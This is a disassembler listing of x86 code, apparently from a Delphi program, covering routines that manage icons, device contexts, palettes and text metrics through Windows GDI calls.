		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax
		push	0FFFFh
		mov	ecx, edx
		mov	eax, ds:off_40BD3C
		mov	dl, 1
		call	sub_40D940
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_415407
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, [ebp+var_4]
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+54h]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41540E

loc_4153FE:				; CODE XREF: CODE:0041540Cj
		mov	eax, [ebp+var_4]
		call	sub_402BDC
		retn
sub_4153BC	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415407:				; DATA XREF: sub_4153BC+20o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4153FE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41540E:				; DATA XREF: sub_4153BC+3Do
		pop	esi
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
		align 4

loc_415418:				; DATA XREF: CODE:00413520o
		cmp	dl, [eax+19h]
		jz	short locret_415427
		mov	[eax+19h], dl
		mov	edx, eax
		mov	ecx, [eax]
		call	dword ptr [ecx+10h]

locret_415427:				; CODE XREF: CODE:0041541Bj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415428:				; DATA XREF: CODE:00413528o
					; CODE:004136C8o
		push	esi
		mov	esi, eax
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+54h]
		pop	esi
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_415434	proc near		; CODE XREF: sub_415C9C+3Bp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	eax, ds:dword_41DA70
		call	sub_40C4B0
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4154D2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		dec	eax
		cmp	eax, 0
		jl	short loc_4154BA
		mov	[ebp+var_4], eax

loc_415464:				; CODE XREF: sub_415434+84j
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		call	sub_40C20C
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		call	sub_4140CC
		test	al, al
		jz	short loc_4154B1
		xor	eax, eax
		push	ebp
		push	offset loc_4154AA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_C]
		call	sub_4154E0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4154B1

loc_4154A1:				; CODE XREF: sub_415434+7Bj
		mov	eax, [ebp+var_C]
		call	sub_414128
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4154AA:				; DATA XREF: sub_415434+4Do
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4154A1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4154B1:				; CODE XREF: sub_415434+48j
					; DATA XREF: sub_415434+68o
		dec	[ebp+var_4]
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_415464

loc_4154BA:				; CODE XREF: sub_415434+2Bj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4154D9

loc_4154C7:				; CODE XREF: CODE:004154D7j
		mov	eax, ds:dword_41DA70
		call	sub_40C514
		retn
sub_415434	endp ; sp = -14h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4154D2:				; DATA XREF: sub_415434+16o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4154C7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4154D9:				; DATA XREF: sub_415434+8Eo
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4154E0	proc near		; CODE XREF: sub_415434+5Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	loc_41557B
		mov	eax, [ebp+var_4]
		call	sub_414078
		xor	edx, edx
		push	ebp
		push	offset loc_415574
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+5Ch]
		test	eax, eax
		jz	short loc_415522
		push	eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		push	eax
		call	j_SelectObject

loc_415522:				; CODE XREF: sub_4154E0+33j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+60h]
		test	eax, eax
		jz	short loc_41553B
		push	0FFFFFFFFh
		push	eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		push	eax
		call	j_SelectPalette

loc_41553B:				; CODE XREF: sub_4154E0+4Aj
		mov	eax, [ebp+var_4]
		mov	ebx, [eax+4]
		xor	edx, edx
		mov	eax, [ebp+var_4]
		call	sub_4141F0
		push	ebx
		call	j_DeleteDC
		mov	edx, [ebp+var_4]
		mov	eax, ds:dword_41DA70
		call	sub_40C4C4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41557B

loc_41556B:				; CODE XREF: sub_4154E0+99j
		mov	eax, [ebp+var_4]
		call	sub_414128
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415574:				; DATA XREF: sub_4154E0+20o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_41556B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41557B:				; CODE XREF: sub_4154E0+Fj
					; DATA XREF: sub_4154E0+86o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4154E0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_415580	proc near		; CODE XREF: sub_4155EC+33p
					; sub_415670+25p ...
		inc	dword ptr [eax+4]
		retn
sub_415580	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_415584	proc near		; CODE XREF: sub_415640+Ep
					; sub_415670+2Dp ...
		push	ebx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4155A1
		dec	dword ptr [ebx+4]
		cmp	dword ptr [ebx+4], 0
		jnz	short loc_4155A1
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx]
		mov	eax, ebx
		call	sub_402BDC

loc_4155A1:				; CODE XREF: sub_415584+5j
					; sub_415584+Ej
		pop	ebx
		retn
sub_415584	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4155A4	proc near		; DATA XREF: CODE:00413624o
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
		mov	esi, eax
		mov	eax, [esi+0Ch]
		call	sub_402BDC
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_402BCC
		test	bl, bl
		jle	short loc_4155CE
		mov	eax, esi
		call	sub_402D2C

loc_4155CE:				; CODE XREF: sub_4155A4+21j
		pop	esi
		pop	ebx
		retn
sub_4155A4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4155D4	proc near		; DATA XREF: CODE:00413628o
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+8]
		test	eax, eax
		jz	short loc_4155E4
		push	eax
		call	j_DestroyIcon

loc_4155E4:				; CODE XREF: sub_4155D4+8j
		xor	eax, eax
		mov	[ebx+8], eax
		pop	ebx
		retn
sub_4155D4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4155EC	proc near		; CODE XREF: sub_416478+166p
					; DATA XREF: CODE:00413690o
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4155FB
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_4155FB:				; CODE XREF: sub_4155EC+5j
		mov	ebx, edx
		mov	edi, eax
		xor	edx, edx
		mov	eax, edi
		call	sub_4150F4
		mov	byte ptr [edi+19h], 1
		mov	dl, 1
		mov	eax, ds:off_4135DC
		call	sub_402BAC
		mov	esi, eax
		mov	[edi+20h], esi
		mov	eax, esi
		call	sub_415580
		mov	eax, edi
		test	bl, bl
		jz	short loc_415639
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_415639:				; CODE XREF: sub_4155EC+3Cj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4155EC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_415640	proc near		; DATA XREF: CODE:00413680o
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
		mov	esi, eax
		mov	eax, [esi+20h]
		call	sub_415584
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_40C520
		test	bl, bl
		jle	short loc_41566A
		mov	eax, esi
		call	sub_402D2C

loc_41566A:				; CODE XREF: sub_415640+21j
		pop	esi
		pop	ebx
		retn
sub_415640	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_415670	proc near		; DATA XREF: CODE:0041368Co
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		test	ebx, ebx
		jz	short loc_41568C
		mov	eax, ebx
		mov	edx, ds:off_413638
		call	sub_402C40
		test	al, al
		jz	short loc_4156C0

loc_41568C:				; CODE XREF: sub_415670+9j
		test	ebx, ebx
		jz	short loc_4156AA
		mov	edi, ebx
		mov	eax, [edi+20h]
		call	sub_415580
		mov	eax, [esi+20h]
		call	sub_415584
		mov	eax, [edi+20h]
		mov	[esi+20h], eax
		jmp	short loc_4156B5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4156AA:				; CODE XREF: sub_415670+1Ej
		xor	ecx, ecx
		xor	edx, edx
		mov	eax, esi
		call	sub_415948

loc_4156B5:				; CODE XREF: sub_415670+38j
		mov	edx, esi
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+10h]
		jmp	short loc_4156C9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4156C0:				; CODE XREF: sub_415670+1Aj
		mov	edx, ebx
		mov	eax, esi
		call	sub_40C54C

loc_4156C9:				; CODE XREF: sub_415670+4Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_415670	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4156D0	proc near		; DATA XREF: CODE:00413698o
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		mov	dl, ds:byte_41570C
		mov	eax, esi
		call	sub_414244
		push	3
		push	0
		push	0
		push	0
		push	0
		mov	eax, ebx
		call	sub_415728
		push	eax
		mov	eax, [edi+4]
		push	eax
		mov	eax, [edi]
		push	eax
		mov	eax, [esi+4]
		push	eax
		call	j_DrawIconEx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4156D0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
byte_41570C	db 1			; DATA XREF: sub_4156D0+9r
		align 4

loc_415710:				; DATA XREF: CODE:004136A0o
		mov	eax, [eax+20h]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41571F
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_415722

loc_41571F:				; CODE XREF: CODE:00415717j
		xor	eax, eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415722:				; CODE XREF: CODE:0041571Dj
		mov	al, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_415728	proc near		; CODE XREF: sub_4156D0+22p
					; sub_4157DC+42p ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_415764
		mov	eax, [ebx+20h]
		mov	eax, [eax+8]
		pop	ebx
		retn
sub_415728	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_41573C:				; DATA XREF: CODE:004136A4o
		mov	eax, [eax+20h]
		mov	eax, [eax+14h]
		test	eax, eax
		jnz	short locret_41574D
		push	0Ch
		call	j_GetSystemMetrics

locret_41574D:				; CODE XREF: CODE:00415744j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_415750:				; DATA XREF: CODE:004136B0o
		mov	eax, [eax+20h]
		mov	eax, [eax+10h]
		test	eax, eax
		jnz	short locret_415761
		push	0Bh
		call	j_GetSystemMetrics

locret_415761:				; CODE XREF: CODE:00415758j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_415764	proc near		; CODE XREF: sub_415728+5p

var_A		= word ptr -0Ah
var_8		= word ptr -8
var_4		= dword	ptr -4

		push	ebx
		push	esi
		add	esp, 0FFFFFFF4h
		mov	esi, eax
		mov	ebx, [esi+20h]
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4157D4
		mov	eax, [ebx+0Ch]
		test	eax, eax
		jz	short loc_4157D4
		xor	edx, edx
		call	sub_40D840
		mov	edx, esp
		mov	ecx, 6
		mov	eax, [ebx+0Ch]
		call	sub_40D884
		mov	ax, [esp+0Ch+var_A]
		sub	ax, 1
		jb	short loc_4157A0
		jz	short loc_4157AB
		jmp	short loc_4157C8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4157A0:				; CODE XREF: sub_415764+36j
		mov	eax, ds:dword_41E68C
		mov	[esp+0Ch+var_4], eax
		jmp	short loc_4157CD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4157AB:				; CODE XREF: sub_415764+38j
		push	6
		lea	eax, [esi+24h]
		push	eax
		lea	eax, [ebx+10h]
		push	eax
		movzx	ecx, [esp+18h+var_8]
		lea	edx, [esp+18h+var_4]
		mov	eax, [ebx+0Ch]
		call	sub_4149E8
		jmp	short loc_4157CD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4157C8:				; CODE XREF: sub_415764+3Aj
		call	sub_4143CC

loc_4157CD:				; CODE XREF: sub_415764+45j
					; sub_415764+62j
		mov	eax, [esp+0Ch+var_4]
		mov	[ebx+8], eax

loc_4157D4:				; CODE XREF: sub_415764+Ej
					; sub_415764+15j
		add	esp, 0Ch
		pop	esi
		pop	ebx
		retn
sub_415764	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4157DC	proc near		; CODE XREF: sub_415A08+8p

var_A		= byte ptr -0Ah
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ebx, [esi+20h]
		cmp	dword ptr [ebx+0Ch], 0
		jnz	loc_415886
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4157FF
		call	sub_4143CC

loc_4157FF:				; CODE XREF: sub_4157DC+1Cj
		mov	dl, 1
		mov	eax, ds:off_40BE14
		call	sub_402BAC
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_415869
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_415728
		cmp	eax, ds:dword_41E68C
		jnz	short loc_41584C
		lea	eax, [ebp+var_A]
		xor	ecx, ecx
		mov	edx, 6
		call	sub_4028D4
		lea	edx, [ebp+var_A]
		mov	ecx, 6
		mov	eax, [ebp+var_4]
		call	sub_40D8BC
		jmp	short loc_41585F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41584C:				; CODE XREF: sub_4157DC+4Dj
		mov	eax, esi
		call	sub_415728
		mov	edx, eax
		xor	ecx, ecx
		mov	eax, [ebp+var_4]
		call	sub_414EF8

loc_41585F:				; CODE XREF: sub_4157DC+6Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_415880
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415869:				; DATA XREF: sub_4157DC+35o
		jmp	loc_402E34
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		mov	eax, [ebp-4]
		call	sub_402BDC
		call	sub_402FB4
		call	sub_403008

loc_415880:				; CODE XREF: sub_4157DC+8Bj
		mov	eax, [ebp+var_4]
		mov	[ebx+0Ch], eax

loc_415886:				; CODE XREF: sub_4157DC+12j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4157DC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_415890	proc near		; DATA XREF: CODE:004136D4o

var_A		= byte ptr -0Ah
var_8		= word ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		mov	dl, 1
		mov	eax, ds:off_40BE14
		call	sub_402BAC
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_41591F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_40D84C
		push	eax
		mov	eax, esi
		call	sub_40D830
		pop	edx
		sub	edx, eax
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx]
		mov	eax, [ebp+var_4]
		call	sub_40D84C
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		mov	edx, [eax+4]
		mov	eax, esi
		call	sub_40D884
		lea	edx, [ebp+var_A]
		mov	ecx, 6
		mov	eax, [ebp+var_4]
		call	sub_40D884
		mov	ax, [ebp+var_8]
		sub	ax, 2
		jb	short loc_415909
		call	sub_4143CC

loc_415909:				; CODE XREF: sub_415890+72j
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	eax, ebx
		call	sub_415948
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_415936
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41591F:				; DATA XREF: sub_415890+1Fo
		jmp	loc_402E34
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		mov	eax, [ebp-4]
		call	sub_402BDC
		call	sub_402FB4
		call	sub_403008

loc_415936:				; CODE XREF: sub_415890+8Dj
		mov	edx, ebx
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_415890	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_415948	proc near		; CODE XREF: sub_415670+40p
					; sub_415890+80p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		mov	dl, 1
		mov	eax, ds:off_4135DC
		call	sub_402BAC
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_415988
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	[eax+8], esi
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edi
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_41599F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415988:				; DATA XREF: sub_415948+1Fo
		jmp	loc_402E34
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		mov	eax, [ebp-4]
		call	sub_402BDC
		call	sub_402FB4
		call	sub_403008

loc_41599F:				; CODE XREF: sub_415948+3Ej
		mov	eax, [ebp+var_4]
		call	sub_415580
		mov	eax, [ebx+20h]
		call	sub_415584
		mov	eax, [ebp+var_4]
		mov	[ebx+20h], eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_415948	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4159BC	proc near		; CODE XREF: sub_416478+1C3p
		push	ebx
		mov	ebx, eax
		xor	ecx, ecx
		mov	eax, ebx
		call	sub_415948
		mov	edx, ebx
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+10h]
		pop	ebx
		retn
sub_4159BC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_4159D4:				; DATA XREF: CODE:004136B8o
		mov	ecx, [eax+20h]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_4159E1
		mov	[eax+28h], edx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4159E1:				; CODE XREF: CODE:004159DBj
		mov	eax, ds:off_41DB28
		call	sub_414390
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS	KEYPAD "+" TO EXPAND]
		align 4

loc_4159F0:				; DATA XREF: CODE:004136C4o
		mov	ecx, [eax+20h]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_4159FD
		mov	[eax+24h], edx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4159FD:				; CODE XREF: CODE:004159F7j
		mov	eax, ds:off_41DB28
		call	sub_414390
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_415A08	proc near		; DATA XREF: CODE:004136D8o
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_4157DC
		mov	eax, [ebx+20h]
		mov	ebx, [eax+0Ch]
		mov	eax, ebx
		call	sub_40D84C
		mov	ecx, eax
		mov	edx, [ebx+4]
		mov	eax, esi
		call	sub_40D8BC
		pop	esi
		pop	ebx
		retn
sub_415A08	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_415A34	proc near		; DATA XREF: CODE:004136DCo
		push	ebp
		mov	ebp, esp
		mov	eax, ds:off_41DAD0
		call	sub_414390
		pop	ebp
		retn	4
sub_415A34	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_415A48	proc near		; DATA XREF: CODE:004136E0o
		push	ebp
		mov	ebp, esp
		mov	eax, ds:off_41DAD0
		call	sub_414390
		pop	ebp
		retn	4
sub_415A48	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		db  53h	; S
		db  6Ah	; j
		db    0	;  
		db 0E8h	; Х
		db 0D8h	; ь
		db    3	;  
		db 0FFh	;  
		db 0FFh	;  
		db  8Bh	; ▀
		db 0D8h	; ь
		db  6Ah	; j
		db  5Ah	; Z
		db  53h	; S
		db 0E8h	; Х
		db  36h	; 6
		db    3	;  
		db 0FFh	;  
		db 0FFh	;  
		db 0A3h	; ё
		db  7Ch	; | OFF32 SEGDEF [BSS,41E67C]
		db 0E6h	; Ф
		db  41h	; A
		db    0	;  
		db  53h	; S
		db  6Ah	; j
		db    0	;  
		db 0E8h	; Х
		db 0F9h	; Ы
		db    3	;  
		db 0FFh	;  
		db 0FFh	;  
		db 0B8h	; ╦
		db  74h	; t OFF32 SEGDEF [DATA,41DA74]
		db 0DAh	; з
		db  41h	; A
		db    0	;  
		db 0BAh	; ╨
		db  0Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E8h	; Х
		db 0EEh	; Н
		db 0EBh	; К
		db 0FFh	;  
		db 0FFh	;  
		db 0A3h	; ё
		db  74h	; t OFF32 SEGDEF [BSS,41E674]
		db 0E6h	; Ф
		db  41h	; A
		db    0	;  
		db  5Bh	; [
		db 0C3h	; ц
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_415A94	proc near

var_4		= byte ptr -4

		push	ebx
		push	esi
		add	esp, 0FFFFFFC8h
		mov	bl, 1
		push	0
		call	j_GetDC
		mov	esi, eax
		test	esi, esi
		jz	short loc_415ACF
		mov	eax, ds:dword_41E688
		push	eax
		push	esi
		call	j_SelectObject
		test	eax, eax
		jz	short loc_415AC7
		push	esp
		push	esi
		call	j_GetTextMetricsA
		test	eax, eax
		jz	short loc_415AC7
		mov	bl, [esp+38h+var_4]

loc_415AC7:				; CODE XREF: sub_415A94+22j
					; sub_415A94+2Dj
		push	esi
		push	0
		call	j_ReleaseDC

loc_415ACF:				; CODE XREF: sub_415A94+12j
		mov	eax, ebx
		add	esp, 38h
		pop	esi
		pop	ebx
		retn
sub_415A94	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  6Ah	; j
		db  48h	; H
		db 0A1h	; ║
		db  7Ch	; | OFF32 SEGDEF [BSS,41E67C]
		db 0E6h	; Ф
		db  41h	; A
		db    0	;  
		db  50h	; P
		db  6Ah	; j
		db    8	;  
		db 0E8h	; Х
		db 0D2h	; р
		db    1	;  
		db 0FFh	;  
		db 0FFh	;  
		db 0F7h	; В
		db 0D8h	; ь
		db 0A3h	; ё
		db  30h	; 0 OFF32 SEGDEF [DATA,41D830]
		db 0D8h	; ь
		db  41h	; A
		db    0	;  
		db 0A1h	; ║
		db  84h	; └ OFF32 SEGDEF [DATA,41DC84]
		db 0DCh	; э
		db  41h	; A
		db    0	;  
		db  80h	; ─
		db  78h	; x
		db    8	;  
		db    0	;  
		db  74h	; t
		db  3Ah	; :
		db 0E8h	; Х
		db  93h	; ⌠
		db 0FFh	;  
		db 0FFh	;  
		db 0FFh	;  
		db  8Bh	; ▀
		db 0D8h	; ь
		db  8Bh	; ▀
		db 0C3h	; ц
		db  2Ch	; ,
		db  80h	; ─
		db  75h	; u
